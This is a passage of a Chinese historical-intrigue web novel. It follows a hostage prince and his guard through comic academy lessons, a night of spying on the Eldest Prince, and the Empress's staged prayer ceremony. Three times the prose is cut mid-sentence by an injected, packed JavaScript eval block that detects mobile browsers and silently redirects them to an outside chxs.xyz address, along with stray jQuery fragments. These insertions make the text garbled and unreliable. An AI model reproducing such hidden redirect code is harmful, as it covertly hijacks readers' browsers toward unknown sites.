萧照解释道:“我们不是来读书的,我们兄弟二人只是书院新招的厨子,能烹制异域美食,尤善于牛羊肉的烤炙,是太子殿下特意准许的。你可以叫我萧照,对了,阿勒齐,你也应该起个汉人名字。” 阿勒齐抠着下巴想了一会:“我不太会起汉人名,姓只想到了张,名吗?还没想好,我听认识那些的姐姐们总叫世子萧郎,也不唤名,那你们就叫我张郎吧。” 韩厉:???,希望你们这些北方蛮夷这辈子都不要去岭南。 楼景谦哈哈大笑,问道:“阿勒齐,为什么想姓张啊?你大可以随为师的姓——楼。” “一张纸,两张纸,三张纸,张一听就是个读书人啊。”阿勒齐一脸天真。不曾想,越说越显得不学无术,楼景谦一时不由得怀疑阿勒齐这小子是不是把前些日子所学的东西都还给了自己。 “阿勒齐,前段日子为师教你的《论语》,可还记得,背几句给为师听听。” 阿勒齐一脸得意,区区《论语》,我早背过好几遍了。先生您仔细听听: “子曰,三人行,吃不饱,两人行,刚够吃。” “子曰,吾日三醒吾身,上茅房否,吃饭否,睡觉否,人言否。” “子曰,温故而知新,可以吃饭了。” “子曰,赵钱孙李,周吴郑王,性本善,习相近。” 直到最后一句说出,韩厉再也忍不住了,笑倒在侧,说道:“先生,他们确实是名副其实的厨子,不是读书人。” 楼景谦心中像是有滩血堵在那,好半天都说不出话,心道,完了完了,教不了了,教啥忘啥,不如不教。 有教无类,楼景谦仍不肯放弃,继续问道:“阿勒齐,萧照可是日日勤学苦读,对六经颇有见地,你整天跟在他身边,可有学到什么道义。” “有啊,世子每日都跟我讲他看的那些书,日日讲,听得我耳朵都起茧子了。” “文以载道,可曾领悟过什么?” “有好多啊,先生。世子讲过有一个美人姐姐坐在柳下惠怀里,外面下着雨,美人又湿漉漉的,他们在庙里躲雨,离得好近啊,这个故事听得我一宿都没睡着。” 世子:??? “对了,还有,世子还讲过,有个人,他是男子,居然被皇上宠信了,一起睡了,结果第二日皇帝要上朝,发现动不了,因为那个男子枕着皇帝的袖子,结果皇帝怕吵着他,就把袖子给割了,然后才去上朝。” 阿勒齐似乎有什么记忆挥之不去,“长生天啊,他是男子,皇帝也是男子,男子和男子,你们汉人还能这样玩啊,这个故事听得我也一宿没睡着。” 世子此刻想在书院里找个老鼠洞,钻进去,藏起来,藏到天昏地暗不知老之将近。 韩厉笑得肚子痛,努力忍住笑声,看热闹不嫌事大,继续问道:“世子还教了你什么,快,快,都说来听听,先生,我今日方觉师兄弟们游山玩水甚是无趣,还不如在此听张郎讲学有意思。” “有,有一个女子本来是太子殿下要赏给世子,但是她出墙了,世子说这叫红杏出墙,那女子还留了封信,问世子,这墙,换成是你,你不出吗?那女子嫌弃世子也就罢了,居然还把质子宅里的物什偷个一干二净,连被子椅子柜子门框都给偷了,这哪是出墙啊,这分明是出山。” 世子想拍死自己一了百了,不过死之前一定要拿阿勒齐当垫背。 韩厉彻底笑倒了,一点也没有往日的书卷气和沉稳,和阿勒齐一起插科打诨活像是市井小贩。 楼景谦欲言又止,止言又欲,叹了半天的气,才说道:“阿勒齐,平日,还是少读点书吧,很多书,它不适合你。” “先生,平日我根本就不读书。” 楼景谦:??? 楼景谦很快平复了一下心情,暗想,我这辈子什么大风大浪没经历过,难道还教不了一个天真稚子。继而温柔说道:“今日为师教大家书法,韩厉,萧照,阿勒齐,你三人各写一百字,写完拿给为师看看。” 三人开始习字,楼景谦先站在韩厉身侧,暗自赞叹,韩厉有二王之风,行笔潇洒,气韵生动,书画这方面,可传衣钵于韩厉。 没一会,楼景谦又走到萧照的身后,看了半天,略有失落,可惜可惜,工整严格,内敛又不失大气。字倒是好字,只是字外无字,看不出风骨。 还没等到楼景谦走到阿勒齐身旁,阿勒齐便迎了上来。“先生,我早就写完了,你怎么迟迟不来啊?” “写得这般快啊,为师说的是要写够一百个字,可不是一个两个字。” “没错,先生,我方才已数过了,不多不少,一百个。” 楼景谦接过宣纸,两眼一黑,阿勒齐这小子居然写了一百个“一”字。换做是他的门生,可是万万不敢写“一”这样的字,每次练习书法,都恨不得写笔画最多,结构最为繁杂的字,往往好半天才磨出一个字。 “阿勒齐,‘一’字很难写,没有多年书法功底,还是不要轻易尝试。” 阿勒齐:???,先生定是吃错药了吧,‘一’字怎么会不好写呢?这简直是世间最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805571|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单最好写的字了。 “韩厉,给阿勒齐写个‘一’字看看。” 萧照看着韩厉写‘一’字,短短一笔,区区一笔,却极其灵动自然,冲天的灵气彷佛有摧枯拉朽的力量,刹那即永恒。京都果真是卧虎藏龙啊,单凭这手字,足以流芳百世。 阿勒齐还是不解:“这不跟我写的一样吗?” 韩厉故意取笑道:“阿勒齐,你的‘一’字,就像那大雨里的美人,湿漉漉躲在庙里,随时都要红杏出墙了,我的字,就如同那柳下惠,纵美人在怀,依旧坐怀不乱。”说完,便哈哈大笑起来。 阿勒齐眼见韩厉取笑自己,立马和他打闹起来,势必要在此人脸上写满字,画满乌龟王八。 “先生,救我,先生,救我,阿勒齐文的不行就要来武的,在我脸上乱画什么。” 楼景谦也急忙拦着,“快停下,阿勒齐,希和,张郎,快停下,这里是应天府书院,不得放肆。” 萧照站在一旁,暗暗观察韩厉,发觉此人在和阿勒齐打闹中丝毫不落下风,动作干脆利落,行云流水,和他的字一模一样。不对,不对,阿勒齐自幼在军营长大,武艺高强,能和阿勒齐如此交手的,武功必然不弱。 韩厉,究竟是何方神圣,文可传太傅衣钵,武可战军中猛将,如此能文能武,不可多得,竟甘心只做太傅门生,应天府书院一诸生,真是怪哉。 日落后,萧照和阿勒齐离开书院,楼景谦也正欲离开,韩厉以有疑难向先生请教为由,留住了楼景谦。 “韩厉,有何疑难啊,为师和你一起探讨探讨。” “先生,您不觉得萧照和阿勒齐不是真心想求学吗?”韩厉问道。 “哦,原来如此,不必多心,阿勒齐倒是一点也不想研究学问,只是陪着他家世子来读书的,至于萧照,读书颇为用功,你估计想不到,一个月之前他还是个目不识丁的少年,到今日,写文作诗已成气候,真是难得的少年天才。” “先生,不可否认,萧照天资聪颖,读书用功,可学生觉得萧照并不是真心愿意读书,他求学问道,定是另有目的。” “何以见得?” “今日书法讲学,学生看见萧照在写完那一百字后只觉如释重负,像是好不容易完成了老师的任务而已,那神情,根本不是醉心书法,乐在其中,他根本毫无体悟书法大美之心。” “韩厉,世间不是所有人都如你一般是个真正的读书人,这乱世,人人皆背负太多了,有人星夜苦读,只为榜上有名,混个一官半职,有人承载一族希冀,不得不苦读诗书。而萧照,他也肩负着他的整个族人,多少人,命不由己啊,为师自当有教无类。” “先生,您是太子太傅,萧照这群外族人如此处心积虑结交先生,怕是剑指东宫,先生切莫引火烧身。” 楼景谦笑着说:“为师我不仅仅是太子的先生,也是你韩厉的先生,是应天府书院诸生的先生,是萧照和阿勒齐的先生,在为师眼里,诸生没有高低贵贱,只要愿意求学,为师便倾囊相授。“ “先生高风亮节,是韩厉小人之心了。” “无妨无妨,你一向聪慧,也只有你会和为师说这些利弊,为师心里懂得,韩厉,你是不世出的好孩子,他日必是我大渊的中流砥柱。” 13. 修罗场 萧照和阿勒齐下学后,迅速回去吃个便饭,换身布衣,来到了大皇子府邸附近——永王府,伺机而动。 两人爬到王府内的一颗百年大树旁,留意着整个王府的一举一动。 一个时辰后,大皇子舞完剑,开始沐浴更衣。 过了半个时辰,大皇子开始用膳。皆是素斋,可见传闻大皇子吃斋念佛不假。 两刻钟过后,大皇子用完膳,开始看书。不是四书五经,只是一些诗词歌赋。 一个时辰后,大皇子看完书,开始礼佛,手抄佛经,供于佛堂。 又一个时辰过后,大皇子准备就寝了。果然,不到一炷香功夫,房内火烛皆灭。 阿勒齐在树上站得脚都麻了,不知道世子葫芦里卖的是什么药,这不就是一个窝囊皇子的窝囊废生活吗? “世子,我想解手。” “你先去,等一会换我下去。” 阿勒齐麻溜地爬下去,找到一处僻静地方,正准备宽衣解带,突然远处飞来一石子,正中眉心。 阿勒齐急忙掏出手中匕首,“谁在那,哪条道上的,赶紧给小爷我滚出来。” 有一女子从草丛中走出,气道:“把衣服赶紧给我系好,不是,我说,这才在树上呆几个时辰,就要解手,怎么,二位肾亏啊。” 杀人诛心,阿勒齐立马挥拳扑过去,两人怕闹出动静,都默契地将兵器丢在一边,直接比试拳脚,拳拳到肉,一时不分胜负。 世子无语:“怎么到了京都,阿勒齐和谁打都是五五开。” 世子下树,赶紧下场制止二人,怕再打下去就惊动了王府里的人。 只听那女子嘲笑道:“花拳绣腿,只会缠斗,喀沁人的招数。” 阿勒齐:“软绵无力,只图快攻,你是契丹人?” 突然,女子趁世子不备,将戒指上的毒针抵在世子脖颈前。 “世子别动,她使诈,她戒指上藏着毒针。”阿勒齐急忙提醒道。 世子无奈,我又不瞎,却还是镇定说道:“姑娘,你杀了我没用,我只是个弱国世子,死不足惜。” “说,好端端的为什么突然来查大皇子,是发现了什么异常吗?” “没什么,只是觉得大皇子过于安分守己了,好奇而已,今日探查一番,发觉大皇子居然整日吃斋念佛,有此佛心,难怪与世无争呢。” 女子将戒指上的毒针又抵近了一寸,世子也随之将身子后挪一寸,女子威胁道:“还不说实话。我想在大渊城内杀你,简直易如反掌。” 世子仍不松口,“姑娘,该说的我全说了,大皇子无权无势,既不争名,也不夺利,能有什么异常啊,想必姑娘近来日夜监视,也不曾发现什么吧。” 突然,有脚步声传来,“世子,是王府里的人出来了。”三人迅速散开躲了起来。 “李管事,怎么突然出来啊,天色这么晚了,早些歇息吧。”一仆人说道。 “你们没有听到园子里有什么动静吗?” “回管事,园子里一切正常,不曾听到有什么动静。” “奇了怪了。大半夜见鬼了不成。” “喵呜,喵——,喵——呜。”草丛深处突然传来几声猫叫。 “原来是野猫啊,听这叫声可能是大半夜发情了,李管事,寒冬腊月,小心着凉,赶紧回屋吧。” 待一行人走后,萧照世子幽怨地盯着阿勒齐,心说,平日读书要是有学猫叫这般入木三分,也不至于今日在书院如此丢人。 萧照和阿勒齐正欲离开,却被那名女子给拦住了。 “你二人真是喀沁探子?” 萧照无语:“我是喀沁世子,阿勒齐是我的护卫,只是京都无聊,我兄弟二人喜欢夜夜窥探他人隐私,怎么,不允许本世子有这样的癖好。” 阿勒齐附和:“是啊,怎么,我们家世子猥琐下流怎么了,碍着你的事了吗?” 世子瞥了阿勒齐一眼,眼底尽是冰霜。 女子心中暗想,这就是喀沁世子,和传闻中的那个市井小偷完全不一样。 “真奇怪,这几日,太子手下的探子来过,契丹的探子来过,如今,连你们喀沁这样的小国都派探子来过,有意思,号称在京都坐拥最多探子的北羌倒是迟迟未动,甚是奇怪呢。” 阿勒齐说道:“有何可奇怪的,万一人家直接把人安插在府里呢?那还用派什么探子。” “奇与不奇,一试便知。”只见女子突然大喊:“抓贼了,快来人啊,抓贼啊。” 不到一盏茶的功夫,三人便被府兵团团围住,五花大绑押进后院。 戏台已被那契丹女子搭好,萧照和阿勒齐只能硬着头皮继续演戏。 良久,大皇子走了进来,问道:“哪来的毛头小贼,居然敢偷到本王府里。” 萧照和阿勒齐噗通一声跪下,不停地磕头,大呼:“饶命啊,小人有眼不识泰山,饶命啊,小人知罪。” “你是喀沁世子?”大皇子问道。 “是是是,大皇子见过臣吗?” “见过,那是你来京都时,本王在一旁远远见过。喀沁世子,怎么沦落至此啊。” “回殿下,前几天京都戒严,小人被困京郊,今早方回质子宅,可是一到质子宅,发现家里被盗贼洗劫一空。” “那应该找官府,怎么找到本王头上了。” “回殿下,小人后来才知,宅子里的物什是被一名为鲤儿的女子所盗,可这女子是前几日太子殿下赏给臣的,这事,官府不好管啊。” “所以家里被偷光了,你就偷到本王头上了。” “回殿下,臣实在不知,这就是殿下的府邸,只是从外面看,气宇轩昂,格调雅致,臣还以为是京都哪个钟鸣鼎食的大户人家呢。” 阿勒齐附和道:“殿下,奴才不知道这是您的宅子啊,就只是想偷几床被褥,一点金银细软,好过个冬。” “是啊,求殿下明鉴,臣要是知道这是殿下的宅子,就是有一万个胆子,也不敢来偷啊。” 萧照和阿勒齐如泣如诉,演得炉火纯青,不相上下。 大皇子转而问那女子:“你又是从哪里冒出来的。” “回殿下,奴正是鲤儿。”女子低眉抬头。 世子:??? 阿勒齐:??? 两人异口同声问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805572|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不是要红杏出墙到太子那吗?” 鲤儿像是变了副嘴脸,与刚才在园子里的狠辣绝然不同,此刻,俨然是一副娇羞女子模样,我见犹怜,委屈至极。 “回殿下,奴是契丹王送到京都的十位女子之一,不求荣华富贵,只求安安生生地找个归宿,好好过日子,不再被人当个玩物就行,可太子居然把奴送给了喀沁质子。” 阿勒齐嘀咕道:“我们家世子怎么了,玉树临风,仪表堂堂,哪里配不上你。” “是啊,本世子难道还是火坑不成。” “殿下明察啊,奴本已认命了,太子愿意将奴送给谁就送给谁罢了,不过是嫁鸡随鸡嫁狗随狗。” 世子:???,你说谁是狗。 “可奴一打听,喀沁世子他,他就是个市井小偷,好吃懒做,只偷不干,且越偷越贪,说不定哪天就偷到什么达官显贵手里,被谁家护院一刀砍死了。” 世子:“所以你就嫁鸡随鸡嫁狗随狗,也如法炮制,把本世子的质子宅偷个一干二净。” “喀沁世子,您宅子里的东西有一件是您自己的吗?不属于你的东西偷得再多都不是你的。” “所以你连我宅子里的那颗枣树也给挖了卖了,你这女子,比本世子更狠,更奸诈。真是五十步笑百步。” “行了行了,都别吵了,吵得本王头都痛了。”大皇子走来走去,不胜心烦。 管家在旁偷偷问道:“殿下,怎么处置啊,这几位身份特殊,一边是外族质子,一边是太子殿下送的美女,不好办啊,况且,他们也没偷到什么实质东西。” “都搜过了吗?” “搜过了,什么都没偷到。” 大皇子想了一会,“你们三位,小恶不断,不过好在尚未铸成大错,苦海无边,回头是岸,念在上天有好生之德,罚你们在佛堂跪上几个时辰,好好忏悔。” “本王望诸君以后,好自为之。” 三人被押往佛堂,鲤儿一脸不解,大皇子确实毫无破绽,难道真的是我多虑了,她不着痕迹地将手环里的药粉收好,将戒指上的毒针复位,跪坐佛前。 尽管永王府一切都掩饰得极好,萧照还是从大皇子每日所抄的佛经发现点端倪。 临走之时,他略带嘲笑地看着那名契丹女子,空有美色,毫无文化底蕴,居然还想刺探文脉深厚的大渊,找死。 三人走后,永王府彷佛瞬间变了个样子,秩序井然,守卫森严,外松内紧。 后院内,李管事回话:“启禀王爷,那些云雀都走了。” “府里的呢?” “还在睡着,那药会让人突感风寒,大病一场,一时怕是起不来了。” “找个机会把府里的那个契丹人处理了,偷偷换成我们自己人潜进去。” 李管事沉思一会:“此事急不得,还需从长计议。” “对了,王爷,那三个外族人为什么不直接处理了,万一他们再卷土重来。” “来就继续演着呗,反正永王府就是个大戏台,谁都能在上面唱几出。” “王爷莫要妄自菲薄,这些年来还没有什么探子能从永王府真正探查到什么。” 14. 字外有字 萧照和阿勒齐回到质子府,阿勒齐熬了一天,困乏无比,正准备入睡,被萧照一把叫住。 “世子,怎么了吗?” “大皇子有问题,别睡了,说完这个再去睡。” “世子,你怎么到了京都后看谁都有问题?” “昨夜我在佛堂中偷偷看了大皇子供在佛堂的手抄佛经,发现了一点蛛丝马迹。” 阿勒齐更是不解了,问道:“世子,大皇子抄的佛经有什么不一样吗?我也看了,怎么啥都没看出来。” “先生所教的书法和气韵生动,你都学到狗肚子里去了。” “罢了罢了,你连韩厉的字都看不出来,更别说大皇子的了。” 萧照只得无奈解释:“周,李二人出事之前,即九月之前大皇子的字迹,笔力较强,字字规整均匀。” “人可以伪装,但是字是骗不了人,九月之前的大皇子,沉稳,内敛,不显山不露水,意在蛰伏。可细看每个字又棱角分明,中锋突出,或许,他在隐隐酝酿着什么大事。” “可是我看那一摞摞佛经长得都一样啊,密密麻麻,像条虫。” “细微之处还是有所不同,大皇子每日抄录佛经,文末,必会用小字注明日期,心得,可周,李二人出事的那段时间,大皇子并没有抄录佛经。” 世子沉思一会:“那段时间,他在忙什么,忙到不可开交,什么都顾不上了。” “周,李二人问斩后,大皇子每日继续抄录佛经,可字迹变了一些,虽不明显,但还是变了。” “变得紧凑,急促,字与字的间距也变小了,淡墨扫过的地方分外突出,这说明那时的大皇子内心纠葛矛盾,举棋不定,尤其是佛经中的‘生’与‘死’两字写得格外大,用墨格外重。“ “或许那时候大皇子想做什么改天换日的大事,这件事,关乎生死,牵扯甚广,他迟迟不能下定决心。” “那会是什么事呢?”阿勒齐问道。 “夺嫡,弑君,谋反,勾结外族叛国……总之什么都有可能。” “可最奇怪的是,大渊皇帝遇刺后,大皇子的字却变得流畅起来,字与字大小适中,有些错别字也不管不顾了,反而将错就错继续抄写下去。” “不应该啊,按理说皇帝遇刺,做皇子的不说伤心也应该准备准备去夺嫡啊。” “是啊,可依字迹来看,这时候的大皇子心境平和,潇洒随意,甚至文末的日期和心得也写得分外简单了。” “我看了半天才明白,文末变成了画一个圈代表当日佛经已抄完,画半圈表未完。” “变化更明显的是,心得也不再用文字表述,而是用点,勾,撇等莫名其妙的符号表述。” “这些圈圈点点是不是说明大皇子变懒了,抄佛经抄累了,烦了。” “非也非也,这只能说明大皇子此时的心态很平和,不再感觉肩负重任,也不再对自己抱有极大期许,故而不再严于律己,自我拘束,变得随遇而安,怡然自得。” 阿勒齐惊讶道:“那么枯燥的一沓佛经,世子您居然能看出那么多东西。” 将所有线索连成线,世子猛然悟道:“大皇子九月是想弑君,甚至不惜联合北羌,可是,太子抢先了一步,让陛下遇刺,半死不活,大皇子也就不用再做什么了。” “世子,你还是人吗?这,这是怎么看出来的。” “还记得我们在倦山抓的那个北羌探子吧。” “记得,我一掌把他拍死了,然后推下山,装成失足跌落山崖,此刻,尸身怕是被狼给吃尽了吧。” “他死前说过,京都有位皇子九月要来倦山,但迟迟未来,后京都戒严,他们也断了联系。” “那么多皇子,怎么就确定是大皇子呢?” “京都九月只发生一件大事,就是周,李二人的□□和问斩。” “可是,这也不能确认是大皇子啊。” “先生说过,周,李二人原本有机会逃走,大皇子已经铺好路了,可是二人放弃逃生,自愿赴死。” “大皇子怎么可能做到,这天下,应该没有人能救那两个人吧,太子只是求个情都被禁足东宫了。” “所以,九月,大皇子必是动用了所有的暗中势力,毫无保留,全力营救周,李二人,哪怕不惜血战京都,也要为二人开出一条生路。” “没听说过周文甫,李苍雪和京都的皇子曾有过什么联系。” “阿勒齐,你还记得吗?李苍雪在行刑前默念的是佛经,不是儒家经典,世人只知道李苍雪是一代大儒,文坛高峰,可鲜少人知道李苍雪也信佛。” “楼先生好像提过,李苍雪后来弃儒修佛了。” “没错,可世人都知,大皇子是真正的信佛之人,坊间还传闻,大皇子说不定哪天就剃头出家了。” “世子,您的意思是说,李苍雪和大皇子有什么联系?” “正是,所以,九月出了那样的事,大皇子必是无暇顾及与北羌人的旧约,故而,北羌人彻底扑了个空。” “大皇子都要救李苍雪这样的一介书生,按理说应该是个好人啊,为什么又勾结北羌意图叛国呢?” “或许,他的目的,从来都只是弑君,而非叛国,他爱他的国,却恨毒了他的父亲。” “为什么呢?” “这我哪里知道啊,不过,传闻大渊皇帝一向不喜大皇子,大皇子也算是诸多皇子中得到权势最少,赏赐最少的一位皇子,想来他们父子之间一定发生过什么。” “但是太子替他刺杀了皇帝,他这么多年的谋划不就白干了。” “是啊,所以,当陛下遇刺后,他的字迹变了,变得潇洒灵动,如释重负,哪怕戒严之后,也不再有什么动作。” “世子,我们只监视了一个晚上。” “鲤儿,那名契丹女子,想必她也是从何处发觉大皇子有问题,那契丹女子定是日日监视,以她的身手和能力,都没发觉任何异常。” “说明大皇子真的就一直没动作。” “戒严期间和解禁期间,这两个时期,是千载难逢的夺嫡好时机,如此天时地利人和,大皇子都无动于衷。” “这是不是说明大皇子志不在此,长生天啊,居然真的有皇子不想夺嫡。” “既然他对这个天下无意,对帝位无意,那他此前的谋划和蛰伏,只能说明他的目的只有弑君。” “天啊,这可是他亲爹啊。” “皇权面前,亲情算什么,大渊父子相杀,手足相残的事还少吗?” “世子,你和大汗也会变成这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805573|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “不好说,世事无常。” “世子,那你和阿勒齐会这样吗?” “阿勒齐,你再问下去,我就要怀疑你是外族安插进来的探子。” “世子,我可是和你一起长大的。” 萧照笑了笑,“好了好了,逗你玩的,不说这些了,继续说大皇子。” “大皇子不是说完了,他的目的是弑君啊,结果忙活了半辈子,这君也不是他弑的。” “问题是,他哪来的实力能保证一定能救下周,李两人。” “大不了就刀下留人,劫法场。” “他二人不是普通朝廷钦犯,是大渊皇帝的眼中钉,肉中刺,想救下他二人,一座血海尸山都不够。” “那这么说,周李两位先生还真是挺好的,自愿去死,也不拖累其他人。” 萧照叹了口气:“我说了半天,你就明白了周,李两人是个好人。” “不然呢,多好的人啊,反正我在喀沁没遇到过这样的人。” “我的意思是说,大皇子可能有军方支持,或者,他自己养了群死士。” “他有钱养死士吗?他家的佛像镀的都不是金身,那黄黄的只是颜料。”阿勒齐对此表示严重怀疑。 “所以方才你在佛像前偷偷摸摸捣鼓什么,就是为了抠人家的金身啊。” “世子,我还抠了其他地方,啥也没有,大皇子是真穷,我去个员外家都能顺点银器,大皇子家怎么这么穷,这还是皇子吗?” 萧照的思维也早已飘向远方,他没有回答阿勒齐的问题,而是说起了那个契丹女子。 “那个鲤儿,很有问题。” “对啊,我知道,契丹的探子呗。” “太子应该看出来她是探子了,为什么不把她杀了,反而送到我这。” “因为太子心善呗。” 萧照又瞥了阿勒齐一眼,不由得怀疑,阿勒齐这脑子,是真蠢,还是真的是外族安插在喀沁的探子。 “世子,你别这样看我,我有点害怕。” “没什么,本世子只是觉得对你永远都缺乏了解。” “可是世子,我觉得那契丹女子不像是契丹人,更像是汉人。” “哦?何以见得,功夫手段可都是契丹的路数。” “先前我去解手,裤子还没脱,她就赶紧丢过来一个石子打我,让我把衣服穿好。” “她是女子,你是男子,男女本就是大防。” “不是这样的,只有汉人女子才讲究男女之别,你看在京都,那些汉人姑娘们喜欢世子,可最多也只是远远叫了声萧郎。” “那依张郎之见,换做是契丹女子会怎样?” “嗯,她们要是看上世子了,会直接住到世子家里,赖在世子房里不走了,世子你若是不从,她们便拿弯刀架在你脖子上逼你就范。” 世子缩了下脖子,难以置信。 阿勒齐继续说道:“若是那女子真是契丹女子,遇到男子解手,只会在一旁瞪大眼睛偷看,心里还会暗自比较一番,绝不会拿石子丢我。” 世子像是发现了什么有意思的事,挖苦道:“阿勒齐,本世子这些年来怎么就没发现你小子对女人这么了解啊?” 阿勒齐低下头不说话了。 15. 祈福 大渊皇帝自遇刺后多日昏迷不醒,皇后决定不日出宫为皇帝祈福,太子,诸位皇子和文武百官随之。 “世子,他们一家为皇帝老儿祈福,怎么还让咱们也去啊,我可不想皇帝老儿好起来。” “不仅是诸位质子要去,京都的达官显贵,应天府书院的诸生,就连各路江湖名流都得去跪着,大典里怕是什么三教九流都有。” “排场那么大吗?那不比庙会还挤。” “大典在报国寺,是皇室专用祭祀祈福举行大典的寺院,想来必是足够恢弘盛大。” “皇家专用,那包吃吗?留午饭吗?世子,你说御膳是什么味道的啊?” 世子无语:“馒头,豆腐,青菜,那是寺庙,能吃上什么大鱼大肉。” “我阿勒齐才不去,一跪跪一天,还不给肉吃。” “名义上是给大渊皇帝祈福的,无名百姓不去倒是也罢了,可诸位质子,皇子,百官,谁不去,不就表示不愿为大渊皇帝祈福,不就是有反心。” “所以不去也得去,天啊,这冰天雪地的,就在那外头一直跪着,最多吃几片豆腐菜叶子。世子,您还是自己去吧,我阿勒齐就留在质子宅看家。” “阿勒齐,我可听说大渊皇后年方十八,曾是江南第一美女,一笑倾人城,你就不想看看这第一美女长什么样?” “我去我去,可世子不是说大渊帝后只是表面夫妻,两人各玩各的吗?皇后的相好,听说是位边境大将军。为什么还要给皇帝祈福啊,按理说皇后巴不得他早点去见阎罗王。” “为太子即位造势。皇帝不明不白地遇刺了,太子获益最大,要想堵住天下悠悠之口,自然是要多唱几出父慈子孝的大戏。” “可我不想去听戏。自从到了京都每日给人做戏就够累了,还要看别人做戏。” 世子倒是饶有兴趣,“阿勒齐,戏台是皇室亲手搭建,天下万民也不过是戏班布景,满朝文武不过是台下看客,人生又能看几出这样的举国大戏?” 与此同时,皇宫内。 “娘娘,不吃东西,多少喝点水吧。祈福大典还要两天才进行啊,您这就滴水未进,到时候怕是身体吃不消啊。” “不行不行,皇帝昏迷多日,本宫还养得珠圆玉润,岂不是又给文武百官留下话柄。”。 “那群百官只会翘舌跟,欺软怕硬,陛下后宫三千不说,年年都选妃不说,荒淫无度也不说,偏偏只敢骂娘娘是妖后。”芸香气道。 “是啊,这群狗官臭男人,平日所盼的无非是升官发财死原配,怎么我家皇后娘娘马上就要升太后掌六宫死官人了,还不许我家娘娘高兴高兴啊。”兰香为皇后打抱不平。 皇后听罢,大喜,笑倒在兰香怀里。 是啊,是啊,本宫马上就是母仪天下的太后了,等皇帝一死,我就把薛郎接到宫里,本宫倒要看看那时候谁还敢拦本宫。 “娘娘,别笑了,小点声,陛下还没驾崩呢。小心隔墙有耳。”芸香提醒道。 “大喜的日子,别提那个老不死的扫兴,芸香,你看看,如今本宫的脸色够不够憔悴。” 芸香仔细端详了半天,点头说道:“倒是够憔悴,只是头发乌黑油亮,不像是忧思过度的样子,娘娘,要不这两日别梳洗了。” 皇后考虑一番,偷偷问道:“祈福大典薛将军不会赶来吧。” “娘娘您忘了,边关将军无诏不得入京。” “那不洗了,芸香,这两日让太医院多熬点醒神汤,本宫这两日不睡了,定要将眼角熬出红血丝。” “娘娘,不至于,这点妆奴婢还是能化出来的。” “不行不行,用妆化出的脸,一哭就花了,到时候岂不人人都知道本宫弄虚作假,幸灾乐祸了。” 芸香一脸不可置信,“娘娘,到时候您真的能哭出眼泪吗?可别演着演着就憋不住笑出来了。“ 皇后掐了一把芸香的腰,佯装嗔怒:“好你个芸香,胆敢小瞧本宫,过两日,本宫就演得让你眼泪往上淌。” “对了,告诉太子,让他这两天也少喝水,多熬夜,勒紧裤腰带。” 第二日,东宫内 太子盯着芸香送过来的醒神汤,十分无奈。 “回去告诉皇后,本宫和百官明争暗斗,四处周旋时,娘娘还未出阁呢,父慈子孝的戏,本宫也唱了那么多年,早已烂熟于心,不需要这等物什画蛇添足。” “殿下,这醒神汤药效极烈,娘娘才喝了一碗,便一个晚上都没睡着,今日断断续续也才咪了一两个时辰,眼角处满是血丝,效果极佳,您真的不试试吗?。” 太子忍不住笑道:“皇后娘娘倒是够狠,回去告诉你家娘娘,不必委屈自己,今夜定要好好休息,明日若是百官咄咄逼人,站在本宫身后便是。” “诺。” “天寒,芸香姑姑还是早些回去歇息吧,今日养精蓄锐,明日看本宫和娘娘唱一出封箱大戏。” 翌日清晨,京都报国寺内,皇后娘娘,太子率文武百官行祈福大典。 祭台上,皇后将所谓的手抄佛经投入祭坛,火势熊熊,一沓沓佛经瞬间灰飞烟灭。 皇后给宫女芸香使个眼色,芸香退到皇后身后,突然发力,用力掐了掐皇后的背。 霎时间,皇后疼痛难忍,双目猩红,热泪盈眶,大喊着:“陛下,陛下,你迟迟未愈,妾身日日悲痛欲绝,忧思过度,皇天后土在上,菩萨佛祖保佑,妾身在此祈求,愿用妾身一命换陛下安然无恙。” “母后,这是何意啊?”太子问道 “既是祈福,便要诚心,心诚则灵,本宫早已决定,今日大典,投火自焚,以命为诚,求佛祖保佑陛下早日醒来。” 皇后说完,便佯装要往祭坛上跳,众位宫女女史急忙阻拦,一时场面混乱。 祭坛上火势猛烈,皇后娘娘又靠得如此近,裙摆上也渐起星星点点的烧痕。 “诸位姐妹别拦我,陛下日日不醒,纵使本宫衣不解带侍奉,依旧不见好转,本宫实在是没有办法了,只能以身殉佛门,求菩萨佛祖保佑。” “娘娘,不要啊,娘娘,娘娘,万万不可,陛下醒来会痛心的。” 诸位宫女女史死命拦住皇后,皇后也拼命挣扎。双方皆是涕泪横流,悲痛欲绝。 